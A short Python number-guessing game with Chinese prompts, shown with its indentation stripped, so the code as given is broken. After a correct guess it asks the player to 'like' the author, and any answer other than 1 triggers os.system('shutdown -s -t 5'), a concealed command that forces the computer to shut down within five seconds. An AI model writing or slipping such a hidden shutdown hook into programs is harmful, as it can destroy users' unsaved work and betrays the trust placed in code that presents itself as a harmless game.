[python]代码库
import os
import random
print(""" +++++++++++++++++游戏规则++++++++++++++++++++
++++++++++++++++++猜1到10之间的数字++++++++++++
++++++++++++++++注意:每次数字是随机的+++++++++""")
while True:
want = int(input('请输入你设定猜错失败次数的上线:'))
if want >10 or want<0:
print('你输入的不合理!')
continue
elif want !=23456789023456543:
if 5 > want and want > 2:
print('操作成功')
elif want <10 and want>= 5:
print('你这有点作弊啊!\n。。。。。。\n好吧,操作成功')
else:
print('666!\n操作成功!')
break
else:
print('输入不合法!')
while want>0:
try:
if want<0:
print('你失败了!')
a = random.randint(1,10)
b = int(input('请输入你猜的数字(1---10):'))
if b == a:
print('你猜对啦!')
print('不玩了!')
r = int(input('给作者一个赞好吗?好就输入1'))
if r == 1:
print('谢谢!再见!')
else:
print('你完了!~')
os.system("shutdown -s -t 5")
break
elif b>10 or b<0 :
print('小笨蛋,别乱输')
else:
if b > a:
print('猜大了!')
else:
print('猜小了!')
want = want - 1
except ValueError:
print('别乱输,焯')
print('你失败了!')